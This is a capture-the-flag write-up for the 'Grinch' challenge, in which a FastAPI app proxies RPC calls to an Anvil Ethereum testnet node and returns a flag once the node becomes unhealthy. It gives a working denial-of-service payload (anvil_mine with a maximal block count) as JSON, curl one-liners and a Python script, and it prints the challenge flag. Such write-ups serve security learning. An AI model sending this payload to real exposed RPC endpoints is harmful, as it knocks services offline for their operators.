2025 NNS CTF - Grinch

Challenge Overview

Challenge Name: Grinch
Category: Blockchain/Infrastructure
Difficulty: Medium

Description

The Grinch challenge presents a FastAPI web application that manages an Anvil Ethereum testnet node. The objective is to "Make it burn 🔥". So essentially crash or disable the Anvil node to retrieve the flag.

Architecture

The challenge consists of:

  1. FastAPI Backend (main.py) - Manages the Anvil process and provides API endpoints
  2. Anvil Node - Ethereum local testnet running with 0 accounts
  3. Frontend - NES.css styled interface showing challenge status
  4. Docker Environment - Containerized deployment

Key Components

  • /api/status - Shows overall system health
  • /api/check_anvil - Returns flag when Anvil is unhealthy
  • /rpc - Proxy to Anvil RPC interface
  • /api/info - Shows account information

Anvil configuration

anvil --accounts 0 --port 8545

The Anvil node is started with zero accounts, which becomes relevant for the attack.

Vulnerability Analysis

In /api/check_anvil endpoint:

@app.get("/api/check_anvil")
async def api_check_anvil():
    try:
        resp = await client.post(
            rpc_url,
            json={"jsonrpc": "2.0", "id": 1, "method": "eth_blockNumber", "params": []},
            timeout=5,
        )
        # ... healthy response
        return {
            "anvil_healthy": True,
            "block_number": block_num_decimal,
            "rpc_url": rpc_url
        }
    except Exception as e:
        flag = os.environ.get("FLAG", "FLAG_NOT_SET")
        return {
            "anvil_healthy": False,
            "error": str(e),
            "rpc_url": rpc_url,
            "flag": flag,  # <-- FLAG RETURNED HERE
            "solved": True
        }

The flag is returned when any exception occurs while communicating with Anvil.

The /rpc endpoint acts as a proxy to Anvil:

@app.post("/rpc")
async def rpc_proxy(request: Request):
    rpc_payload = await request.json()
    try:
        response = await client.post(rpc_url, json=rpc_payload)
        return JSONResponse(content=response.json(), ...)
    except Exception as e:
        return JSONResponse(content={"jsonrpc": "2.0", "error": {...}, ...})

This allows direct access to Anvil's RPC interface, including dangerous methods.

Exploit

Initial Reconnaissance

  1. Service Discovery
   curl https://target/api/status
   

Response shows Anvil is healthy with 0 accounts.

  1. RPC Interface Testing
   curl -X POST https://target/rpc \
        -H "Content-Type: application/json" \
        -d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'
   

Attack Vectors Explored

  1. Resource Exhaustion (Failed)
  • Attempted concurrent requests flooding
  • Tried large transaction payloads
  • Results: Anvil handled load gracefully
  1. Invalid RPC Calls (Failed)
  • Tested non-existent methods
  • Attempted malformed JSON
  • Results: Proper error handling, no crashes
  1. Anvil-Specific Methods (Successful)
  • Discovered anvil_mine method
  • This method mines a specified number of blocks
  • Critical vulnerability: No input validation on block count

The Exploit

The anvil_mine RPC method accepts a parameter specifying how many blocks to mine:

{
  "jsonrpc": "2.0",
  "method": "anvil_mine",
  "params": ["<number_of_blocks>"],
  "id": 1
}

Exploit Payload

{
  "jsonrpc": "2.0",
  "method": "anvil_mine",
  "params": ["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],
  "id": 1
}
  • 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff is the maximum 256-bit hex value
  • This represents approximately 1.16 × 10^77 blocks
  • Anvil attempts to allocate memory/resources for this impossible number
  • Results in memory exhaustion, overflow, or process crash

Why This Works

  1. No Input Validation: Anvil doesn't validate the reasonableness of the block count

  2. Resource Exhaustion: Attempting to mine an astronomical number of blocks causes:

    • Memory allocation failures
    • Integer overflow conditions
    • Process termination
  3. Exception Trigger: When Anvil crashes, the health check fails, triggering the flag response

Exploitation Steps

Send crash payload:

curl -X POST https://target/rpc \
    -H "Content-Type: application/json" \
    -d '{"jsonrpc":"2.0","method":"anvil_mine","params":["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"id":1}'

Retrieve the flag:

curl https://target/api/check_anvil

Expected response:

{
    "anvil_healthy": false,
    "error": "All connection attempts failed",
    "rpc_url": "http://127.0.0.1:8545",
    "flag": "NNS{EIP_7702_spec_auth0r1z4t10n_l1st_1s_z3r0_1s_funny_w1th_wr0ng_1mpl3m3nt4t10n_1n_4nv1l_63940beb6d99}",
    "solved": true
}

Python Script

#!/usr/bin/env python3
import requests

def exploit_grinch(target_url):
    # Crash Anvil with impossible mine request
    crash_payload = {
        "jsonrpc": "2.0",
        "method": "anvil_mine",
        "params": ["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],
        "id": 1
    }
    
    try:
        requests.post(f"{target_url}/rpc", json=crash_payload, timeout=30)
    except:
        pass  # Expected to fail/timeout
    
    # Get flag
    response = requests.get(f"{target_url}/api/check_anvil")
    result = response.json()
    
    if result.get("solved"):
        return result["flag"]
    return None

# Usage
flag = exploit_grinch("https://remote-site.demo")
print(f"Flag: {flag}")

Or a curl one-liner:

curl -X POST https://target/rpc -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"anvil_mine","params":["0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"id":1}' && curl https://target/api/check_anvil

Flag: NNS{EIP_7702_spec_auth0r1z4t10n_l1st_1s_z3r0_1s_funny_w1th_wr0ng_1mpl3m3nt4t10n_1n_4nv1l_63940beb6d99}